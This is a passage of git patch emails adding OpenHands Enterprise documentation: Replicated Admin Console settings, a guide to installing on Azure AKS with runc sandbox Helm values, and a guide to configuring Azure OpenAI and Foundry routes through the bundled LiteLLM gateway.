+through the Admin Console. The deployment configures the bundled gateway and +makes the model available in OpenHands. + +### Database and Sandbox Configuration + +The tested configuration uses bundled PostgreSQL, the default Sysbox isolation +runtime and subdomain routing. For an external database, follow +[External PostgreSQL](/enterprise/external-postgres). Size storage for your +workload and establish backup and recovery procedures for the persistent data. + +### GitHub Authentication + +Enable GitHub Authentication and run the +[official GitHub App helper](https://github.com/OpenHands/OpenHands-Cloud/tree/main/scripts/create_github_app) +with your instance's base domain. Use the default flat DNS layout for Simple mode. +Create a dedicated GitHub App and install it on the repositories you want this +instance to access. + +Map the helper's output to **GitHub App Client ID**, **Client Secret**, **App ID**, +**App Slug** and **Webhook Secret**. Upload the generated private key in +**GitHub App Private Key**. Keep the generated secrets outside source control. +See [GitHub integration](/enterprise/integrations/github) for repository and +webhook configuration. + +Configure optional integrations after the baseline workflow passes. + +## Deploy and Verify + +Save the configuration, review application preflights and deploy the new sequence. +Wait for **Ready** on the Admin Console dashboard. + +1. Open `https://app.<your-base-domain>` and sign in with GitHub. +2. Check that the administrator-managed model appears in the model selector. The tested default profile displayed `openhands/gemini-2.5-flash`. +3. Start a small conversation that asks the agent to print its working directory and write and read a temporary marker file. Confirm terminal output and a completed response. +4. Open **Open Repository**, select an installed repository and branch, and run a read-only conversation that reads its README and reports `git status`. +5. Verify persistent database storage and record the installation versions and test results. + +Deployment readiness and an HTTP response are useful checks. The completed +conversations verify that authentication, model inference, sandbox startup, +terminal tools and repository access work together. + +## Agent-Assisted Installation + +The [Replicated installation skill](https://github.com/OpenHands/extensions/blob/e945ed649aa78500c393bccee4390e72e6add991/skills/install-openhands-replicated/SKILL.md) +provides an agent workflow for resource planning, preflights, installation and +end-to-end checks. Use this guide and the Replicated Admin Console as the +reference for release-specific requirements and configuration fields. + +## Validation Scope + +<Note> +Validated with Replicated `0.74.0`, installer `v2.19.2+k8s-1.36` and Ubuntu +24.04 with generic kernel `6.8.0-146`: host and application preflights, trusted +HTTPS, GitHub login, persistent PostgreSQL storage, administrator-managed Vertex +Gemini 2.5 Flash inference, sandbox terminal file operations, and a read-only +GitHub repository conversation. + +Backup/restore, upgrades, additional nodes and automatic certificate renewal +were not covered by these checks. +</Note> From 1d80a293b53cddf578bafa6e1197efdcf127d6e2 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:31:56 -0500 Subject: [PATCH 72/97] docs: document missing Replicated 0.70 Admin Console settings (#881) * docs: complete Replicated Admin Console configuration reference * docs: exclude unmerged Azure test-package controls * docs: scope Admin Console additions to Replicated 0.70 --- .../admin-console-configuration.mdx | 44 ++++++++++++++++++- 1 file changed, 42 insertions(+), 2 deletions(-) diff --git a/enterprise/vm-install/admin-console-configuration.mdx b/enterprise/vm-install/admin-console-configuration.mdx index e06be4c49..5e3361d2c 100644 --- a/enterprise/vm-install/admin-console-configuration.mdx +++ b/enterprise/vm-install/admin-console-configuration.mdx @@ -7,7 +7,7 @@ icon: sliders Use the Replicated Admin Console to configure an OpenHands Enterprise deployment installed with Replicated Embedded Cluster. <Note> - The available options depend on your OpenHands Enterprise release. This page follows the current release. If a field is not present in your Admin Console, check `Version history` for an available update. + This reference uses the Replicated 0.70 configuration as its baseline. Available options and defaults depend on your installed release. Some fields appear only after you enable their parent feature or select a provider. Check your installed release and its release notes before using a setting described here. A field documented here may not yet be available in an older release. </Note> ## Open the Configuration Screen @@ -134,6 +134,14 @@ These settings are additive. Disabling them does not delete organizations, remov For what each setting does and how to move an existing installation to organizations, see [Configuring Organizations](/openhands/usage/cloud/organizations/configuring-organizations). +## Keycloak Administration + +Use `Keycloak Admin Password` to manage the existing Keycloak `admin` account password. Set it in the Admin Console, save, and deploy, then sign in at `https://<authentication-hostname>/admin/` to manage users and identity-provider account links. Leave the field blank to keep the current password. Manage the password through Replicated so later deployments retain the intended value. + +## Authentication Security + +`Prevent Duplicate Base Emails` (on by default) rejects sign-ins when another user has the same email after removing a plus-address suffix. For example, `name+test@example.com` matches `name@example.com`. Check for an existing account when investigating a rejected sign-in involving an email alias. + ## Authentication and Integrations The following groups appear independently and reveal additional required fields when enabled. @@ -150,6 +158,10 @@ Configure the Microsoft Entra tenant, Azure DevOps organization, client ID, and Configure the Jira base URL, account-linking method, and either OAuth or service-account credentials. See [Jira Data Center](/enterprise/integrations/jira-data-center). +### Jira Cloud Integration + +Enable `Enable Jira Cloud Integration`, then save and deploy. An organization administrator finishes setup under `Settings → Integrations → Jira` in OpenHands and registers the webhook in Jira Cloud. See [Jira Cloud](/enterprise/integrations/jira-cloud) for service-account credentials, email matching, and webhook setup. + ### GitHub Authentication Enable the GitHub App used for sign-in and repository access, then provide: @@ -167,13 +179,17 @@ Use a GitHub App, not a GitHub OAuth App. Provide the GitLab host and OAuth client credentials. Leave the host at `gitlab.com` for GitLab SaaS, or enter the hostname of your self-managed GitLab instance. +### Enterprise SSO (SAML) Authentication + +Enable `Enable Enterprise SSO Authentication`, provide the `SAML Metadata URL`, and optionally set the `Identity Provider Display Name`. See [SAML SSO](/enterprise/integrations/saml-sso) for identity-provider requirements and sign-in verification. + ### Slack Provide the Slack client ID, client secret, and signing secret. After deployment, complete the OpenHands-side installation and account-linking flow. See [Slack](/enterprise/integrations/slack). ## SMTP Email Delivery -Enable SMTP to send budget alerts and administrator notifications. +Enable SMTP to send budget alerts, administrator notifications, and Keycloak account emails for email verification, account linking, and password resets. | Field | Description | |---|---| @@ -220,6 +236,7 @@ See [External PostgreSQL](/enterprise/external-postgres) for version, encoding, | `CPU Request` | CPU reserved for each sandbox. | | `CPU Limit` | Maximum CPU available to each sandbox. | | `Warm Runtime Count` | Number of ready sandboxes kept for faster conversation startup. Set to `0` for cold starts only. | +| `Runtime API Admin Password` | Password for Runtime API admin endpoints, including warm runtime configuration. Set it here and deploy before using those endpoints. Changing it restarts Runtime API. See [Multiple Images and Warm Pools](/enterprise/custom-sandbox-images/multiple-images-warm-pools). | | `Additional Host Path Mounts` | Host paths mounted into every sandbox, one per line as `host_path:container_path[:ro\|rw]`. | | `Enable /dev/kvm passthrough (QEMU/KVM)` | Makes host KVM acceleration available inside sandboxes. The node must expose `/dev/kvm`. | | `Run sandboxes on dedicated nodes` | Confines sandboxes to machines added with the `sandbox` role, and keeps the application off those machines. Requires at least one `sandbox` machine already joined. See [Scaling the Cluster](/enterprise/vm-install/scaling). | @@ -258,6 +275,17 @@ Prefer adding the proxy CA under `Additional Trusted CA Certificates` instead of See [Troubleshooting](/enterprise/troubleshooting) to generate a support bundle, inspect component logs, and open a support ticket. +## Upgrade Checks + +Budget policy checks run before and after upgrades. These options control whether findings block the upgrade or are recorded while it proceeds. + +| Field | Description | +|---|---| +| `Pre-upgrade Budget Preflight` | Read-only check for missing budget baselines, missing gateway members, cap drift, or a failed last sync. The default, `Acknowledge`, records findings; `Strict` blocks the upgrade when problems are found. | +| `Post-upgrade Budget Reconciliation Gate` | Reconciles organization budget policies and verifies them by readback. The default, `Strict`, marks the upgrade failed until reconciliation succeeds. `Acknowledge` records findings and lets the release proceed. | + +`Acknowledge` does not establish that budget policy is healthy. If a strict check fails, collect the reported findings and use [Troubleshooting](/enterprise/troubleshooting) before changing the gate mode. + ## Experimental `Enable Plugin Directory` deploys the experimental plugin marketplace at `/plugins`. When enabled, configure a marketplace source beginning with `github://`, `https://`, or `http://`. @@ -270,12 +298,24 @@ Enable analytics to deploy the bundled Laminar observability services. Optionall See [Analytics](/enterprise/analytics) for the complete setup and verification flow. +When analytics is enabled, `ClickHouse Diagnostic Log Retention` controls retention of ClickHouse system diagnostic tables such as `trace_log`, `query_log`, and `text_log`. These tables can grow quickly on busy installations. This setting controls diagnostic logs, not Laminar conversation-trace retention. + ## Automations `Enable Automations` deploys the Automations UI and backend. If you use external PostgreSQL, create and grant access to the Automations database before enabling this option. +### Conversation Archive Delay + +`Conversation Archive Delay (seconds)` appears when automations are enabled. It sets the delay after a run finishes before its conversation is archived and its sandbox deleted. The default is `0`, which archives as soon as the run finishes. During the delay the sandbox is paused, and opening the conversation resumes it. + +An archive delay longer than sandbox `Deletion Time` does not preserve the sandbox longer: paused sandboxes are deleted at that age regardless. See [Automations](/enterprise/automations) for setup and run ownership. + +## Agent Canvas + +`Enable Agent Canvas` deploys the conversation UI at `/canvas` on the application hostname and locks it to this installation's OpenHands backend. + ## Advanced Options | Field | Description | From cdbd642bfb3e5e1873439e33355de4ad5e8dc119 Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:32:19 -0500 Subject: [PATCH 73/97] Add Azure AKS Enterprise installation documentation (#871) * Add Azure AKS Enterprise installation documentation * Use Azure logo for AKS documentation * Document runc as the evaluated AKS sandbox configuration * Keep AKS guide focused on customer setup * Remove runtime warning from AKS setup guide * Remove startup capacity warning from AKS guide * Link AKS install guide to the installation skill --- docs.json | 3 +- enterprise/images/azure-logo.svg | 25 ++++ enterprise/k8s-install/aks.mdx | 187 ++++++++++++++++++++++++++++++ enterprise/k8s-install/sysbox.mdx | 11 +- 4 files changed, 223 insertions(+), 3 deletions(-) create mode 100644 enterprise/images/azure-logo.svg create mode 100644 enterprise/k8s-install/aks.mdx diff --git a/docs.json b/docs.json index 98a8c7c64..6b74ff458 100644 --- a/docs.json +++ b/docs.json @@ -641,7 +641,8 @@ "enterprise/k8s-install/dns-and-tls", "enterprise/k8s-install/resource-limits", "enterprise/k8s-install/upgrade-guidance", - "enterprise/k8s-install/eks" + "enterprise/k8s-install/eks", + "enterprise/k8s-install/aks" ] } ] diff --git a/enterprise/images/azure-logo.svg b/enterprise/images/azure-logo.svg new file mode 100644 index 000000000..fc4c5caee --- /dev/null +++ b/enterprise/images/azure-logo.svg @@ -0,0 +1,25 @@ +<svg id="b48db8d1-59c0-409d-89ab-baf5bac53ae6" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="256" height="256" viewBox="0 0 256 256"> + <defs> + <linearGradient id="ab40b385-f958-420f-bfab-714be1677426" x1="-960.6062" y1="283.3968" x2="-1032.5112" y2="70.9723" gradientTransform="matrix(1, 0, 0, -1, 1075, 318)" gradientUnits="userSpaceOnUse"> + <stop offset="0" stop-color="#114a8b"/> + <stop offset="1" stop-color="#0669bc"/> + </linearGradient> + <linearGradient id="f40af90d-72eb-49b3-94b2-2510f1071722" x1="-938.1444" y1="184.4016" x2="-954.7776" y2="178.7775" gradientTransform="matrix(1, 0, 0, -1, 1075, 318)" gradientUnits="userSpaceOnUse"> + <stop offset="0" stop-opacity="0.3"/> + <stop offset="0.0712" stop-opacity="0.2"/> + <stop offset="0.321" stop-opacity="0.1"/> + <stop offset="0.6231" stop-opacity="0.05"/> + <stop offset="1" stop-opacity="0"/> + </linearGradient> + <linearGradient id="e382d742-7d51-4974-a256-24e182eef053" x1="-947.2919" y1="289.5941" x2="-868.3628" y2="79.3082" gradientTransform="matrix(1, 0, 0, -1, 1075, 318)" gradientUnits="userSpaceOnUse"> + <stop offset="0" stop-color="#3ccbf4"/> + <stop offset="1" stop-color="#2892df"/> + </linearGradient> + </defs> + <g> + <path d="M89.1583,18.266h69.238L86.5228,231.2237a11.0411,11.0411,0,0,1-10.4612,7.51H22.1787a11.0229,11.0229,0,0,1-10.4446-14.5479l66.9633-198.41A11.0406,11.0406,0,0,1,89.1583,18.266Z" fill="url(#ab40b385-f958-420f-bfab-714be1677426)"/> + <path d="M189.7708,161.1044H79.9752a5.0829,5.0829,0,0,0-3.4681,8.7988l70.5517,65.8479a11.0915,11.0915,0,0,0,7.5668,2.9829h62.1675Z" fill="#0078d4"/> + <path d="M89.1583,18.266A10.95,10.95,0,0,0,78.675,25.92L11.8168,224.0061A11.0094,11.0094,0,0,0,22.21,238.734H77.4839a11.8143,11.8143,0,0,0,9.0688-7.7138L99.8838,191.73l47.6243,44.4181a11.2671,11.2671,0,0,0,7.0889,2.5863h61.9371l-27.1656-77.63-79.1905.0176,48.47-142.856Z" fill="url(#f40af90d-72eb-49b3-94b2-2510f1071722)"/> + <path d="M177.592,25.7643a11.0227,11.0227,0,0,0-10.4439-7.4983H89.9841a11.0245,11.0245,0,0,1,10.445,7.4983l66.967,198.4209a11.0245,11.0245,0,0,1-10.445,14.5488h77.164a11.0235,11.0235,0,0,0,10.444-14.5488Z" fill="url(#e382d742-7d51-4974-a256-24e182eef053)"/> + </g> +</svg> diff --git a/enterprise/k8s-install/aks.mdx b/enterprise/k8s-install/aks.mdx new file mode 100644 index 000000000..946288b30 --- /dev/null +++ b/enterprise/k8s-install/aks.mdx @@ -0,0 +1,187 @@ +--- +title: Azure AKS +description: Prepare an Azure Kubernetes Service cluster to run OpenHands Enterprise +icon: /enterprise/images/azure-logo.svg +--- + +Running OpenHands Enterprise on Azure Kubernetes Service (AKS) follows the standard +[Helm installation](/enterprise/k8s-install/installation), with provider-specific +choices for node pools, storage, ingress and the sandbox runtime. This guide covers +preparing the cluster with standard runc sandboxes. Once it is ready, follow the +Helm guide to deploy using the runtime values below. Skip +[Installing Sysbox](/enterprise/k8s-install/sysbox). Wherever the Helm guide installs +or checks Sysbox, use the runc values and checks on this page instead. + +<Note> +The values below apply to Enterprise Helm chart `0.74.0` and Runtime API `0.10.0`. +Check the values for your licensed release before installing or upgrading. +</Note> + +For an agent-assisted installation on a dedicated test cluster, use the +[AKS installation skill](https://github.com/OpenHands/OpenHands-Cloud/blob/main/.agents/skills/aks-install.md) +and its [setup scripts and templates](https://github.com/OpenHands/OpenHands-Cloud/tree/main/aks-install). + +## Cluster Requirements + +| Requirement | Recommendation | +| --- | --- | +| Access | An Azure subscription and permissions to create the resource group, cluster, node pools and networking | +| AKS version | An AKS-supported version; verify the actual Ubuntu image and containerd version against your target Enterprise release | +| Sandbox OS | Ubuntu nodes using the default containerd/runc runtime | +| Storage class | Azure Disk CSI, such as `managed-csi`, with expansion enabled | +| Capacity | Sufficient regional and VM-family vCPU quota for application nodes, sandbox nodes and upgrades | + +Entra or Azure DevOps authentication alone does not establish subscription access. +Check `az account list --all` and the selected subscription's permissions. +Grant the deployment identity access to create the cluster and its dependencies. +Creating Azure role assignments requires additional permissions. Existing networks, private +cluster access and workload identities need their own access checks. + +Check VM SKU restrictions as well as quota before selecting a region or availability +zones. Use a dedicated resource group and explicit subscription and kubeconfig. + +## Node Pools + +Use separate pools for application services and sandbox workloads: + +- **General pool:** runs OpenHands services and cluster add-ons. Keep application + workloads here through node affinity or selectors. +- **Sandbox pool:** an Ubuntu user node pool for agent sandboxes. Set + `workload=openhands-sandbox` as a persistent node-pool label so new nodes match + the Runtime API selector. Do not install the Sysbox DaemonSet or add its installer label. + +Size both pools using the [Sizing Guide](/enterprise/sizing-guide) and +[Resource Limits](/enterprise/k8s-install/resource-limits). Leave capacity for +Kubernetes services, existing workloads and concurrent sandboxes. Check +PodDisruptionBudgets before draining nodes for maintenance or upgrades. + +### Configure runc Sandboxes + +Override the Sysbox defaults in the Enterprise chart through Helm values: + +```yaml +runtime-api: + env: + RUNTIME_CLASS: "" + SET_HOST_USERS: "false" + RUNTIME_NODE_SELECTOR: '{"workload":"openhands-sandbox"}' + RUNTIME_TOLERATIONS: '[]' +``` + +An empty `RUNTIME_CLASS` omits `runtimeClassName` from new sandbox pods, using +containerd’s default runtime. `SET_HOST_USERS: "false"` omits the `hostUsers` override; +it does not request the Sysbox user-namespace configuration. Save these values in +`values-aks-runc.yaml` and pass that file as the **last** `-f` argument on every +install and upgrade, after your base values and feature overlays. For example: + +```bash +helm upgrade --install openhands <licensed-chart-source> --version 0.74.0 \ + --namespace openhands --create-namespace \ + -f values.yaml -f values-aks-runc.yaml --timeout 10m +``` + +Use the licensed chart source from the [Helm guide](/enterprise/k8s-install/installation), +and complete its namespace and Secret setup first. When enabling optional features, +place their values files before `values-aks-runc.yaml`. Omitting these overrides +can restore the chart’s Sysbox defaults and prevent new sandboxes from starting. +If you add a sandbox-pool taint, configure a matching toleration instead of the empty list. + +### Verify a Sandbox + +1. Sign in to OpenHands and start a conversation. Ask the agent to run `pwd`, + write a file in its workspace and read it back. +2. Confirm the sandbox pod runs on the sandbox pool using the default runtime: + + ```bash + kubectl get pod <sandbox-pod> -n <runtime-namespace> \ + -o jsonpath='{.spec.nodeName}{"\t"}{.spec.runtimeClassName}{"\t"}{.spec.hostUsers}{"\n"}' + ``` + + Expect a sandbox-pool node name followed by two empty fields. Use the runtime + namespace configured in your Helm values, such as `openhands-runtimes`. +3. Stop the conversation runtime, reopen the conversation and ask the agent to + read the same file to confirm workspace persistence. + +If a sandbox fails to start, follow the +[Troubleshooting guide](/enterprise/troubleshooting) and collect the pod events +before contacting OpenHands support. + +## Persistent Storage + +Inspect the Azure Disk CSI StorageClass: + +```bash +kubectl get storageclass managed-csi -o yaml +``` + +Confirm that the class uses the Azure Disk CSI provisioner (`disk.csi.azure.com`) +and supports the binding mode and expansion your workloads need. Azure Disk +workspace PVCs use `ReadWriteOnce`. Configure storage explicitly for workspaces, +PostgreSQL and any in-cluster object store. Merge the following settings into your +base values file: + +```yaml +runtime-api: + env: + STORAGE_CLASS: managed-csi +postgresql: + primary: + persistence: + storageClass: managed-csi +``` + +Account for node disk-attachment limits and availability-zone topology. Validate +mounting, persisted content after reattachment, and expansion on a disposable PVC. +See [Azure Disk CSI provisioning](https://learn.microsoft.com/en-us/azure/aks/create-volume-azure-disk). + +## Object Storage + +Conversation/session storage is separate from workspace PVCs. Helm chart 0.74.0 +supports S3-compatible and GCS filestore configuration; it does not expose an Azure +Blob backend. Do not substitute Azure Blob credentials into the S3 settings. + +For an in-cluster store, chart `0.74.0` includes optional RustFS. Configure its +persistence with Azure Disk CSI, provide the object-store credential Secret, and +create the conversation bucket before starting conversations. Select an object +store that meets your durability requirements and configure backup and restore. +When enabling automations, configure a separate automation package bucket. The +automation service can create it at startup when bucket creation is enabled. + +## Database + +Use the [External PostgreSQL](/enterprise/external-postgres) guide for managed +database requirements and Helm values. If choosing Azure Database for PostgreSQL, +verify compatibility, TLS and network access against those requirements before deployment. +For bundled PostgreSQL, set its persistence storage class as shown above. + +## Ingress + +Run an ingress controller on the general pool. For Traefik with an Azure public +load balancer, use the following Traefik Helm values: + +```yaml +service: + type: LoadBalancer +``` + +Read the Service's external IP and create a wildcard A record for your base domain. +DNS can remain with another provider. For private ingress, select the appropriate +Azure load-balancer configuration and verify client access separately. + +Follow [DNS and TLS](/enterprise/k8s-install/dns-and-tls) for trusted certificates +and hostname configuration. Use flat runtime hostnames with Traefik standard Ingress. +If provisioning certificates manually, assign renewal and Secret-update ownership. + +## Next Steps + +<CardGroup cols={2}> + <Card title="DNS and TLS" icon="lock" href="/enterprise/k8s-install/dns-and-tls"> + Configure hostnames and trusted certificates. + </Card> + <Card title="Install with Helm" icon="ship" href="/enterprise/k8s-install/installation"> + Deploy the application and validate a conversation. + </Card> + <Card title="Enable Automations" icon="clock" href="/enterprise/k8s-install/automations"> + Configure optional automation services and storage. + </Card> +</CardGroup> diff --git a/enterprise/k8s-install/sysbox.mdx b/enterprise/k8s-install/sysbox.mdx index d16399d9e..70659f62f 100644 --- a/enterprise/k8s-install/sysbox.mdx +++ b/enterprise/k8s-install/sysbox.mdx @@ -4,8 +4,15 @@ description: Install the Sysbox runtime so agent sandboxes can run securely icon: cube --- -OpenHands runs each agent session in a sandbox that uses [Sysbox](https://github.com/nestybox/sysbox) -for isolation. This guide covers installing Sysbox. +OpenHands Enterprise can use [Sysbox](https://github.com/nestybox/sysbox) +for sandbox isolation. This guide covers installing Sysbox. + +<Warning> +Sysbox is not yet supported for OpenHands Enterprise on **Azure Kubernetes Service +(AKS)**. Do not use this procedure for OpenHands Enterprise on AKS. See the +[Azure AKS guide](/enterprise/k8s-install/aks) for the evaluated runc configuration +and its Docker-in-sandbox, isolation and startup limitations. +</Warning> ## Node Requirements From 3a39d8a8f25c99946d3cffa3babea55d4113225a Mon Sep 17 00:00:00 2001 From: Rajiv Shah <rshah@pobox.com> Date: Fri, 16 Oct 2026 11:32:35 -0500 Subject: [PATCH 74/97] docs: add Azure LLM gateway configuration guide (#872) * docs: add Azure LLM gateway configuration guide * docs: keep Helm credential prerequisite sentence together * docs: illustrate Replicated Azure model configuration * docs: trim Azure configuration screenshot edges * docs: align Azure setup with Bedrock instructions * Address Azure gateway review feedback and discovery links --- docs.json | 1 + enterprise/integrations/azure-llm-gateway.mdx | 250 ++++++++++++++++++ enterprise/integrations/overview.mdx | 4 + enterprise/k8s-install/installation.mdx | 7 +- .../admin-console-configuration.mdx | 3 +- 5 files changed, 263 insertions(+), 2 deletions(-) create mode 100644 enterprise/integrations/azure-llm-gateway.mdx diff --git a/docs.json b/docs.json index 6b74ff458..8ba21edf9 100644 --- a/docs.json +++ b/docs.json @@ -620,6 +620,7 @@ }, "enterprise/integrations/slack", "enterprise/integrations/external-llm-gateways", + "enterprise/integrations/azure-llm-gateway", "enterprise/integrations/observability-platforms" ] }, diff --git a/enterprise/integrations/azure-llm-gateway.mdx b/enterprise/integrations/azure-llm-gateway.mdx new file mode 100644 index 000000000..5debfa08d --- /dev/null +++ b/enterprise/integrations/azure-llm-gateway.mdx @@ -0,0 +1,250 @@ +--- +title: Azure LLM Gateway +description: Connect Azure OpenAI and Azure AI Foundry models through the OpenHands Enterprise LLM gateway. +icon: /enterprise/images/azure-logo.svg +--- + +Connect OpenHands Enterprise to Azure OpenAI or Azure AI Foundry model deployments +through its bundled LiteLLM gateway. These configurations apply whether OpenHands +runs on AKS or another supported Kubernetes platform. + +Choose your installation method: + +- **Replicated**: configure the gateway in the Admin Console. +- **Helm**: configure the gateway through your installation values. + +## Choose the Provider Route + +Azure AI Foundry includes Azure OpenAI and other model deployments. Use the +route that matches your deployment's inference API, rather than choosing by the +portal name alone. + +| Deployment API | LiteLLM Provider | Configuration | +| --- | --- | --- | +| Azure OpenAI | `azure/` | Azure resource endpoint, deployment name, API version and credentials | +| Foundry model inference | `azure_ai/` | Deployment's inference endpoint, model/deployment identifier and credentials | + +An installation can expose both routes as separate model aliases in the same +bundled gateway. Each route can use its own endpoint and Secret. + +## Configure the Gateway + +<Tabs> +<Tab title="Replicated"> + +<Note> + Confirm Azure OpenAI support for your installed Replicated release before using + these settings. The API-version rendering issue tracked in + [OpenHands-Cloud #1337](https://github.com/OpenHands/OpenHands-Cloud/pull/1337) + remains unresolved. The Helm configuration below sets the API version directly. +</Note> + +1. Open the [Admin Console LLM configuration](/enterprise/vm-install/admin-console-configuration#llm-configuration). +2. Select `Azure` for Azure OpenAI. +3. Under `Azure Authentication Method`, select `API Key` and enter your + resource key in `Azure OpenAI API Key`. To use a service principal, select + `Microsoft Entra ID — Service Principal` and complete the authentication + fields shown by the Admin Console. +4. In `Azure OpenAI Endpoint`, enter your resource endpoint, such as + `https://<resource-name>.openai.azure.com/`. +5. In `Azure OpenAI API Version`, enter a version that supports your model and + selected API mode. For the Responses example in this guide, enter + `2025-04-01-preview` instead of the displayed `2024-10-21` default. +6. In `Azure OpenAI Deployments`, enter **one deployment name per line**. + Use the deployment names from your Azure resource, without an `azure/` + prefix. For example: + + ```text + gpt-4.1-mini + gpt-4.1 + ``` + + All deployments must be reachable at the endpoint and API version above. + Deployment names can differ from the underlying model names. +7. Save the configuration and deploy the updated version. + + +Use the Admin Console to manage this configuration rather than applying the Helm +snippets in the Helm tab to a Replicated-managed installation. The Admin Console configures Azure OpenAI routes only. For Azure AI Foundry on a +Replicated installation, contact OpenHands Support. + +</Tab> +<Tab title="Helm"> + +### Prerequisites + +- A working [OpenHands Enterprise Helm installation](/enterprise/k8s-install/installation). +- An Azure OpenAI or Azure AI Foundry model deployment that supports agent tool + use, with its inference endpoint and API key. +- Network access from the bundled LiteLLM pod to the Azure endpoint over HTTPS. + For a private endpoint, configure private DNS and routing from the cluster. +- An API version supported by your deployment and the request endpoints it uses. + +The following instructions use Azure resource API keys. + +### Configure Azure OpenAI + +#### 1. Store the Azure Credential + +Use your secret manager to create `azure-openai-gateway` in the OpenHands +application namespace, with a key named `AZURE_API_KEY`. Alternatively, create it +from a private file containing only the Azure resource API key: + +```bash +kubectl -n openhands create secret generic azure-openai-gateway \ + --from-file=AZURE_API_KEY=/path/to/private/azure-api-key +``` + +The Azure resource key is used by LiteLLM. It is separate from an OpenHands app +API key used to call conversation or automation APIs. + +#### 2. Add the Azure Model to Helm Values + +Merge this entry into your existing installation values. Keep all existing model +entries and environment Secrets: Helm replaces lists when applying overrides. + +```yaml +litellm-helm: + environmentSecrets: + - litellm-env-secrets + - azure-openai-gateway + proxy_config: + model_list: + # Retain your existing model entries here. + - model_name: azure-gpt-4.1-mini + litellm_params: + model: azure/<deployment-name> + api_base: https://<resource-name>.openai.azure.com/ + api_version: "2025-04-01-preview" + api_key: os.environ/AZURE_API_KEY +``` + +Replace `<deployment-name>` with the deployment name in your Azure resource. +It may differ from the underlying model name. `azure-gpt-4.1-mini` is the alias +that OpenHands uses to select this route. + +Set `api_version` directly on the route. Use a version that supports your +model and the API mode selected in OpenHands; this example uses Responses. + +#### 3. Apply the Updated Values + +Use the licensed chart URL and version from your installation. Apply your +complete installation values, including the Azure configuration: + +```bash +helm upgrade openhands "$OPENHANDS_CHART_URL" \ + --namespace openhands \ + --version "$OPENHANDS_CHART_VERSION" \ + --values values.yaml \ + --wait --timeout 10m + +kubectl -n openhands rollout status deployment/openhands-litellm +``` + +Adjust the namespace and deployment name if you used a different release name. + +### Configure Azure AI Foundry + +Obtain the inference endpoint, supported model/deployment identifier and key from +an existing Foundry deployment. Use the inference endpoint shown for that +deployment, rather than its project management URL. + +Create a separate Secret, `azure-ai-gateway`, containing `AZURE_AI_API_KEY` from +your secret manager or a private file: + +```bash +kubectl -n openhands create secret generic azure-ai-gateway \ + --from-file=AZURE_AI_API_KEY=/path/to/private/foundry-api-key +``` + +Add the Secret to the gateway's existing `environmentSecrets` list and append a +model route to its existing `model_list`: + +```yaml +litellm-helm: + environmentSecrets: + - litellm-env-secrets + - azure-openai-gateway + - azure-ai-gateway + proxy_config: + model_list: + # Retain your Azure OpenAI and other existing model entries here. + - model_name: foundry-gpt-4.1-mini + litellm_params: + model: azure_ai/<foundry-deployment-name> + api_base: https://<resource-name>.services.ai.azure.com/models + api_version: "2024-05-01-preview" + api_key: os.environ/AZURE_AI_API_KEY + drop_params: true +``` + +Use the endpoint and API version for your deployment's model-inference API. +Apply the complete updated values using the Helm upgrade command above. + +</Tab> +</Tabs> + +## Select the Model in OpenHands + +For a Replicated installation, select the Azure model configured in the Admin +Console. For a Helm installation, save a separate LLM profile for each gateway +alias you want to use. For the GPT-4.1-mini Helm routes above, use these settings: + +| Field | Azure OpenAI Example | Foundry Example | +| --- | --- | --- | +| Profile Name | `Azure-GPT-4.1-mini` | `Foundry-GPT-4.1-mini` | +| Model | `openhands/azure-gpt-4.1-mini` | `openhands/foundry-gpt-4.1-mini` | +| Base URL | `http://openhands-litellm.openhands.svc.cluster.local:4000` | `http://openhands-litellm.openhands.svc.cluster.local:4000` | +| Canonical Model Name | `gpt-4.1-mini` | `gpt-4.1-mini` | +| API Mode | `responses` | `chat` | +| API Key | Leave unset; use the managed gateway credential | Leave unset; use the managed gateway credential | + +The Foundry example uses Chat Completions, while the Azure OpenAI example uses +Responses. Choose the API mode supported by your configured inference route. + +Use your installation's internal LiteLLM Service DNS name. The profile base URL +points to the bundled gateway; the Azure resource endpoint belongs in Helm +`litellm_params.api_base`. + +## Start Using the Model + +1. Select the profile you configured and start a conversation. Ask the agent to run `pwd`, + write a file containing a literal test string, and read it back. +2. Confirm the sandbox starts, tool actions succeed, and the agent completes. +3. If you use automations, follow + [Enable Automations with Helm](/enterprise/k8s-install/automations). Select + the saved profile name, such as `Azure-GPT-4.1-mini` or + `Foundry-GPT-4.1-mini`, dispatch one test run, and + verify its status reaches `COMPLETED` and its output is correct. Disable any + test schedule afterward. + +## Troubleshooting + +<AccordionGroup> +<Accordion title="Azure `404`"> +Check the resource endpoint, deployment name and API version. Chat Completions support does not establish Responses support; use a version that supports your selected API mode. +</Accordion> +<Accordion title="Managed gateway-token authentication error"> +Set the profile base URL to the internal LiteLLM Service URL shown above if your release does not supply it automatically. +</Accordion> +<Accordion title="Azure credential or permission error"> +Check the resource key and Secret injection. For Entra authentication, grant the required inference permissions; subscription Contributor access alone does not grant model inference access. +</Accordion> +<Accordion title="Azure `429`, repeated retries, or a conversation that keeps waiting"> +Check deployment token quota, request limits and available capacity. Agent prompts and tool definitions can require more capacity than short direct completions. +</Accordion> +<Accordion title="Unsupported model parameters"> +Check provider support; `drop_params: true` can omit unsupported optional parameters, but does not add tool support to a model +</Accordion> +<Accordion title="A different Foundry model fails"> +Check its endpoint path, supported API and [LiteLLM provider configuration](https://docs.litellm.ai/docs/providers/azure_ai). Some model families require a different route, such as an Anthropic endpoint for Claude. +</Accordion> +<Accordion title="Sandbox cannot start"> +Check Kubernetes events and runtime registration. Inspect the configured sandbox runtime and node placement through your installation values. +</Accordion> +</AccordionGroup> + +For Azure model routing details, see +[LiteLLM's Azure OpenAI reference](https://docs.litellm.ai/docs/providers/azure). +If your organization routes through an existing external gateway, use +[External LLM Gateways](/enterprise/integrations/external-llm-gateways). diff --git a/enterprise/integrations/overview.mdx b/enterprise/integrations/overview.mdx index b1e323419..4e6586c43 100644 --- a/enterprise/integrations/overview.mdx +++ b/enterprise/integrations/overview.mdx @@ -137,6 +137,10 @@ See [MCP Settings](/openhands/usage/settings/mcp-settings) to add and configure ## Agentic Infrastructure <CardGroup cols={2}> + <Card title="Azure LLM Gateway" icon="microsoft" href="/enterprise/integrations/azure-llm-gateway"> + Configure Azure OpenAI and Azure AI Foundry model routes. + </Card> + <Card title="External LLM Gateways" icon="network-wired" 